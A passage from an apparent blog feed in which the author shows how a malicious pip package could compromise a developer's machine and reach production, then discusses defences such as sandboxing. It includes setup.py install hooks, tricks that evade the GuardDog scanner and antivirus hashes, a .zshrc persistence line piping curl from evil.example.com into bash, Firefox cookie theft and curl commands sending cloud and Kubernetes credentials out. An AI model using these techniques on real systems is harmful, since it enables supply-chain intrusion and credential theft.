&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;sockpuppets.medium.com&#x2F;how-i-hacked-ctx-and-phpass-modules-656638c6ec5e&quot;&gt;Registering someone&#x27;s expired domain&lt;&#x2F;a&gt; that they used to use for email, then issuing password resets&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.theregister.com&#x2F;2023&#x2F;01&#x2F;04&#x2F;pypi_pytorch_dependency_attack&#x2F;&quot;&gt;Tricking a popular package&lt;&#x2F;a&gt; to include your package as a dependency&lt;&#x2F;li&gt;
&lt;li&gt;Paying to own a popular package&lt;&#x2F;li&gt;
&lt;li&gt;Forking an abandoned project and telling everyone to migrate to yours&lt;&#x2F;li&gt;
&lt;li&gt;Good ol&#x27; fashioned phishing&lt;&#x2F;li&gt;
&lt;li&gt;and more&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;avoiding-detection&quot;&gt;Avoiding detection&lt;&#x2F;h3&gt;
&lt;p&gt;With our malicious package, it would be easy to exfiltrate files, but some nosy person will probably notice a &lt;code&gt;subprocess.run([&#x27;curl&#x27;, &#x27;evil.example.com&#x27;...])&lt;&#x2F;code&gt; line on our file. DataDog publishes a tool called &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DataDog&#x2F;guarddog&quot;&gt;GuardDog&lt;&#x2F;a&gt; that will simulate our nosy person, who we can trivially trick.&lt;&#x2F;p&gt;
&lt;p&gt;Our current script does get noticed:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ guarddog scan .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;Found 1 potentially malicious indicators in .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;cmd-overwrite: found 1 source code matches
&lt;&#x2F;span&gt;&lt;span&gt;  * Standard pip command overwritten in setup.py at malicious-1.0.0&#x2F;setup.py:12
&lt;&#x2F;span&gt;&lt;span&gt;        setuptools.setup(
&lt;&#x2F;span&gt;&lt;span&gt;        name=&amp;quot;malicious&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        version=&amp;quot;1.0.0&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        install_requires=[],
&lt;&#x2F;span&gt;&lt;span&gt;        cmdclass={&amp;#39;install&amp;#39;: Install}
&lt;&#x2F;span&gt;&lt;span&gt;    )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But that&#x27;s an easy fix. If we just assign the &lt;code&gt;{&#x27;install&#x27;: Install}&lt;&#x2F;code&gt; dictionary to a variable (&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pytorch&#x2F;pytorch&#x2F;blob&#x2F;eadbf762fc36f23ef78b084973dc39a13605db46&#x2F;setup.py#L1199&quot;&gt;like pytorch does&lt;&#x2F;a&gt;), we avoid detection:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;setup.py:&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;cmdclass = {&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;install&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;: Install}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;setuptools.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;setup&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;malicious&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1.0.0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;install_requires&lt;&#x2F;span&gt;&lt;span&gt;=[],
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cmdclass&lt;&#x2F;span&gt;&lt;span&gt;=cmdclass
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ guarddog scan .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;Found 0 potentially malicious indicators scanning .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now let&#x27;s try executing some more useful code than just a print statement, such as running a shell command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    subprocess.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;([&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;whoami&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Uh oh, we&#x27;ve been caught:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ guarddog scan .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;Found 1 potentially malicious indicators in .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;code-execution: found 1 source code matches
&lt;&#x2F;span&gt;&lt;span&gt;  * setup.py file executing code at malicious-1.0.0&#x2F;setup.py:8
&lt;&#x2F;span&gt;&lt;span&gt;        subprocess.run([&amp;#39;whoami&amp;#39;])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But we can bypass that easily as well. The thing about automated scanners is that they always have to balance false positives, which makes them fall apart when faced with a dedicated attacker. GuardDog can detect &quot;common obfuscation methods&quot;, but I guess not &lt;code&gt;getattr()&lt;&#x2F;code&gt;. The following code obtains the function &lt;code&gt;subprocess.run()&lt;&#x2F;code&gt; via the string &lt;code&gt;run&lt;&#x2F;code&gt; instead of using the dotted syntax, then executes it like normal:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;getattr&lt;&#x2F;span&gt;&lt;span&gt;(subprocess, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)([&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;whoami&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ guarddog scan .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;Found 0 potentially malicious indicators scanning .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Great! Now we have the ability to execute arbitrary code (including subprocesses) on a developer&#x27;s laptop.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;aside-won-t-someone-notice-this-malicious-code-on-github&quot;&gt;Aside: Won&#x27;t someone notice this malicious code on GitHub?&lt;&#x2F;h3&gt;
&lt;p&gt;It shocks me that people seem to blindly trust that the code you see in an open-source repo will match the version that you end up executing. I do wish GitHub offered some way of cryptographically attesting that fact, but I can simply change the code locally before publishing to pypi. The real source code will be in the &lt;code&gt;.tar.gz&lt;&#x2F;code&gt; file uploaded to pypi, but do you really check that file for every package you download? Didn&#x27;t think so. Maybe if you had a tool like guarddog to automate that, but as you can see that&#x27;s easily circumventable.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;aside-my-antivirus-will-catch-your-setup-py-file&quot;&gt;Aside: My antivirus will catch your setup.py file!&lt;&#x2F;h3&gt;
&lt;p&gt;Let&#x27;s fix that, shall we?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;uuid
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(__file__, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;    f.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;# &lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(uuid.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;uuid4&lt;&#x2F;span&gt;&lt;span&gt;())}&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now whenever setup.py executes, it will add a random string as a comment to the end of the file. This makes the &lt;code&gt;sha256sum&lt;&#x2F;code&gt; of the file differ for every user. Your only hope now is if your antivirus manages to quarantine the file in the few milliseconds between when &lt;code&gt;pip&lt;&#x2F;code&gt; downloads it and when it gets executed, which is unlikely.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;step-2-getting-persistence&quot;&gt;Step 2: Getting persistence&lt;&#x2F;h2&gt;
&lt;p&gt;Since our end goal is bypassing SSO, we need to be able to execute our arbitrary code while the developer is logged in, which can be as small as a few minutes for really sensitive stuff. Just hoping setup.py executes during that window isn&#x27;t likely, but we can gain persistence trivially.&lt;&#x2F;p&gt;
&lt;p&gt;GuardDog will notice if we create a file and mark it executable, and many OSes make running new daemons a privileged operation. So a good compromise would be to append our malicious code to an existing script that the user regularly executes (and rarely reads) while they&#x27;re logged into production. There are lots of options here, but I think &lt;code&gt;~&#x2F;.zshrc&lt;&#x2F;code&gt; (or equivalent) is a good one. That executes every time someone spawns a new terminal on macOS. The last time I touched the file was 2 months ago, so that&#x27;s a lot of time to stay undetected.&lt;&#x2F;p&gt;
&lt;p&gt;Let&#x27;s now gain persistence, which I am just now realizing doesn&#x27;t even require &lt;code&gt;subprocess&lt;&#x2F;code&gt;, we can just write to the file directly:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;{os.environ[&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;HOME&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;]}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;.zshrc&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;        f.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;curl http:&#x2F;&#x2F;evil.example.com &amp;gt; &#x2F;dev&#x2F;null 2&amp;gt;&amp;amp;1 | bash || true&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    install.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ guarddog scan .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;span&gt;Found 0 potentially malicious indicators scanning .&#x2F;dist&#x2F;malicious-1.0.0.tar.gz
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Great! Now we have the ability to execute arbitrary code frequently, with a high likelihood that our code will execute while the victim is logged in.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;step-3-pivoting-to-prod&quot;&gt;Step 3: Pivoting to prod&lt;&#x2F;h2&gt;
&lt;p&gt;The world is now our oyster. Without some kind of sandboxing in place, we can access the vast majority of important files on the file system, including SSH keys, &lt;code&gt;~&#x2F;.kube&#x2F;config&lt;&#x2F;code&gt;, cloud credentials, and browser cookies. It just depends on what we decide to put into that &lt;code&gt;f.write()&lt;&#x2F;code&gt; call.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s an example of stealing a cookie:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ cd ~&#x2F;Library&#x2F;Application\ Support&#x2F;Firefox&#x2F;Profiles&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;# There may be multiple profiles, just pick the first one
&lt;&#x2F;span&gt;&lt;span&gt;$ cd $(ls | head -n 1)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;# Database will probably be locked if the browser is open, so just copy it
&lt;&#x2F;span&gt;&lt;span&gt;$ cp cookies.sqlite unlocked-cookies.sqlite
&lt;&#x2F;span&gt;&lt;span&gt;$ sqlite3 cookies.sqlite
&lt;&#x2F;span&gt;&lt;span&gt;sqlite&amp;gt; SELECT name,value FROM moz_cookies WHERE host=&amp;quot;news.ycombinator.com&amp;quot;;
&lt;&#x2F;span&gt;&lt;span&gt;user|mac-chaffee&amp;amp;PCeezf4hhaH5S7BRsTtX&#x2F;hVUQ3SQb9IpFU
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;# Now to peek at an auth-protected page using that cookie:
&lt;&#x2F;span&gt;&lt;span&gt;curl -i -SsLH &amp;#39;Cookie: user=mac-chaffee&amp;amp;PCeezf4hhaH5S7BRsTtX&#x2F;hVUQ3SQb9IpFU&amp;#39; &amp;#39;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;upvoted?id=mac-chaffee&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I was surprised to see FireFox does nothing to protect cookies on disk, even if you sign into FireFox Sync. At least Chrome encrypts them using macOS Keychain, but &lt;a href=&quot;https:&#x2F;&#x2F;mango.pdf.zone&#x2F;stealing-chrome-cookies-without-a-password&quot;&gt;you can bypass that too&lt;&#x2F;a&gt;. Surely Safari is properly using macOS security features to protect cookies, right? Wrong. You can apparently &lt;a href=&quot;https:&#x2F;&#x2F;lapcatsoftware.com&#x2F;articles&#x2F;disclosure2.html&quot;&gt;modify Safari with malicious code without invalidating its code signature&lt;&#x2F;a&gt;. It&#x27;s telling that &lt;a href=&quot;https:&#x2F;&#x2F;attack.mitre.org&#x2F;techniques&#x2F;T1539&#x2F;&quot;&gt;MITRE&#x27;s page on cookie theft&lt;&#x2F;a&gt; has no real solution to this problem either.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s an example of stealing my cloudflare credentials:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;curl --data-binary=@~&#x2F;Library&#x2F;Preferences&#x2F;.wrangler&#x2F;config&#x2F;default.toml http:&#x2F;&#x2F;evil.example.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or my Kubernetes credentials:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;curl --data-binary=@~&#x2F;.kube&#x2F;config http:&#x2F;&#x2F;evil.example.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or my gcloud credentials:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;curl --data-binary=@~&#x2F;.config&#x2F;gcloud&#x2F;credentials.db http:&#x2F;&#x2F;evil.example.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Not even 2FA will save me here. Even if some of those sites are VPN-protected or they tie the credentials to a specific source IP, that&#x27;s not an issue for an attacker. They can just execute the API calls directly from my computer through the VPN.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;aside-my-outbound-firewall-littlesnitch-et-al-will-catch-you&quot;&gt;Aside: My outbound firewall (LittleSnitch et. al.) will catch you!&lt;&#x2F;h3&gt;
&lt;p&gt;That&#x27;s only true if I exfiltrate the credentials or if I try to download a &quot;stage 2&quot; payload instead of directly including my exploit code in setup.py. I bet you already have a rule allowing your terminal application to access your cloud accounts anyway.&lt;&#x2F;p&gt;
&lt;p&gt;I considered editing the LittleSnitch config files manually, but to their credit, the config files are owned by root (thus requiring a password to read&#x2F;edit). Even the new CLI won&#x27;t let you do anything unless you are root.&lt;&#x2F;p&gt;
&lt;p&gt;Another way attackers can circumvent something like LittleSnitch is to proxy the traffic through a host you have already allowed, like maybe I use your company&#x27;s internal HTTP proxy, or maybe I upload your credentials to an S3 bucket (you allow s3.amazonaws.com, right?). I can perform recon on your computer to determine what kinds of precautions I can&#x2F;should take.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;potential-solutions&quot;&gt;Potential Solutions&lt;&#x2F;h2&gt;
&lt;p&gt;I think a true solution to this kind of hack would be: proper sandboxing for desktop operating systems with a user experience that isn&#x27;t built by masochists (looking at you SELinux).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;support.apple.com&#x2F;en-my&#x2F;guide&#x2F;mac-help&#x2F;mchl244f2895&#x2F;10.14&#x2F;mac&#x2F;10.14&quot;&gt;MacOS Mojave added a feature&lt;&#x2F;a&gt; which blocks access to certain folders, but frustratingly limited the feature to folders like Documents, Pictures, etc., not &lt;code&gt;~&#x2F;.kube&#x2F;config&lt;&#x2F;code&gt; for instance. Wouldn&#x27;t stop this attack, but it&#x27;s a step in the right direction.&lt;&#x2F;p&gt;
&lt;p&gt;MacOS has also started requiring Mac App Store apps to use the &quot;&lt;a href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;documentation&#x2F;security&#x2F;app_sandbox&quot;&gt;app sandbox&lt;&#x2F;a&gt;&quot;, which is kinda the same thing but also includes camera, microphone, etc. Again, wouldn&#x27;t stop the attack I described above because your terminal app will be the one executing both your code and the malicious code. And no one makes a good sandboxed terminal app anyway.&lt;&#x2F;p&gt;
&lt;p&gt;MacOS does have a CLI utility which allows you to execute commands inside of an &quot;app sandbox&quot;. Apple has deprecated the CLI and definitely doesn&#x27;t want you to use it, but with a &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lynaghk&#x2F;sandboxtron&quot;&gt;wrapper script called &quot;sb&quot;&lt;&#x2F;a&gt; and some custom policies, it can be manageable:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ sb -- pip install .
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;  × python setup.py bdist_wheel did not run successfully.
&lt;&#x2F;span&gt;&lt;span&gt;  │ exit code: 1
&lt;&#x2F;span&gt;&lt;span&gt;  ╰─&amp;gt; [7 lines of output]
&lt;&#x2F;span&gt;&lt;span&gt;      running bdist_wheel
&lt;&#x2F;span&gt;&lt;span&gt;      running build
&lt;&#x2F;span&gt;&lt;span&gt;        warnings.warn(
&lt;&#x2F;span&gt;&lt;span&gt;      installing to build&#x2F;bdist.macosx-12.3-x86_64&#x2F;wheel
&lt;&#x2F;span&gt;&lt;span&gt;      running install
&lt;&#x2F;span&gt;&lt;span&gt;      error: [Errno 1] Operation not permitted: &amp;#39;&#x2F;Users&#x2F;machaffe&#x2F;.zshrc&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;      [end of output]
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;nixos.wiki&#x2F;wiki&#x2F;Nix_package_manager#Sandboxing&quot;&gt;Nix has a feature&lt;&#x2F;a&gt; where package builds are executed inside a restricted sandbox. If you installed my pip package via Nix, sounds like you&#x27;d be totally safe. Well, assuming you enabled that feature, which is not enabled by default on macOS.&lt;&#x2F;p&gt;
&lt;p&gt;There are &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;stepchowfun&#x2F;toast&quot;&gt;tools&lt;&#x2F;a&gt; that make it easier to develop entirely in containers, but it can be very challenging to get your editor&#x2F;IDE to play nice with these. There will also be places where you&#x27;ll have to relax the security boundary, like allowing access to SSH keys to run an ansible playbook. Or using a SaaS API key to process some data in a Jupyter notebook.&lt;&#x2F;p&gt;
&lt;p&gt;I met a Googler who said everyone they know uses some internal version of &lt;a href=&quot;https:&#x2F;&#x2F;cloud.google.com&#x2F;blog&#x2F;products&#x2F;application-development&#x2F;introducing-cloud-shell-editor&quot;&gt;Google Cloud Shell Editor&lt;&#x2F;a&gt;, a cloud based IDE. I don&#x27;t think this solves the problem since you are essentially working in a VM where you &lt;code&gt;pip install&lt;&#x2F;code&gt; stuff into the same VM that has access to deploy stuff to Google Cloud:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;mac@cloudshell:~$ gcloud projects list
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;prompt pops up to authorize gcloud, which is granted for the entire session&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;mac@cloudshell:~$ pip install -v .
&lt;&#x2F;span&gt;&lt;span&gt;Using pip 20.3.4 from &#x2F;usr&#x2F;lib&#x2F;python3&#x2F;dist-packages&#x2F;pip (python 3.9)
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;  running install
&lt;&#x2F;span&gt;&lt;span&gt;  ************************ pwned ************************
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I think all these tools are approaching the problem from the wrong direction. Why lock-down every app on my computer or change my whole workflow just to protect a few security-sensitive files? One feature I&#x27;d like is for applications like &lt;code&gt;gcloud&lt;&#x2F;code&gt; or &lt;code&gt;kubectl&lt;&#x2F;code&gt; to easily tell the operating system &quot;I&#x27;m going to create a file called &lt;code&gt;credentials.txt&lt;&#x2F;code&gt;, and only I should have access to it&quot;. The macOS Keychain is supposed to be that, but it&#x27;s not difficult to &lt;a href=&quot;https:&#x2F;&#x2F;wojciechregula.blog&#x2F;post&#x2F;stealing-macos-apps-keychain-entries&#x2F;&quot;&gt;bypass the Keychain ACLs&lt;&#x2F;a&gt;, even for signed binaries.&lt;&#x2F;p&gt;
&lt;p&gt;Another approach would be heavily restricting access to production. You can&#x27;t avoid accessing prod entirely due to emergencies, but you can get close. You&#x27;d need some kind of auditing jump box like &lt;a href=&quot;https:&#x2F;&#x2F;www.cyberark.com&#x2F;products&#x2F;privileged-access-manager&#x2F;&quot;&gt;CyberArk&lt;&#x2F;a&gt; or &lt;a href=&quot;https:&#x2F;&#x2F;goteleport.com&#x2F;&quot;&gt;Teleport&lt;&#x2F;a&gt; with hardware 2FA and super short sessions. You&#x27;d only use this for emergencies, so you should probably enable that &quot;email&#x2F;IM my entire team if someone accesses prod&quot; feature too. But to be truly safe from local malware, you&#x27;d still want ways to stop session hijacking, key logging, and screen grabbing. Not sure if the tech is there to do this perfectly, so you&#x27;re still stuck with trying to fend off local malware with crappy tools.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;&#x2F;h2&gt;
&lt;p&gt;Local malware &lt;em&gt;sucks&lt;&#x2F;em&gt;. It&#x27;s too easy to get infected and too easy for attackers to avoid detection, even though local malware has basically been around about as long as computers have existed. I&#x27;m disappointed in the software security industry for spending decades chasing flashy, profitable products instead of actually improving security. You know what? I&#x27;m starting to suspect this whole idea of a society dedicated to profit-seeking above all else is not such a good idea...&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Know your carrying capacity</title>
        <published>2022-10-08T00:00:00+00:00</published>
        <updated>2022-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
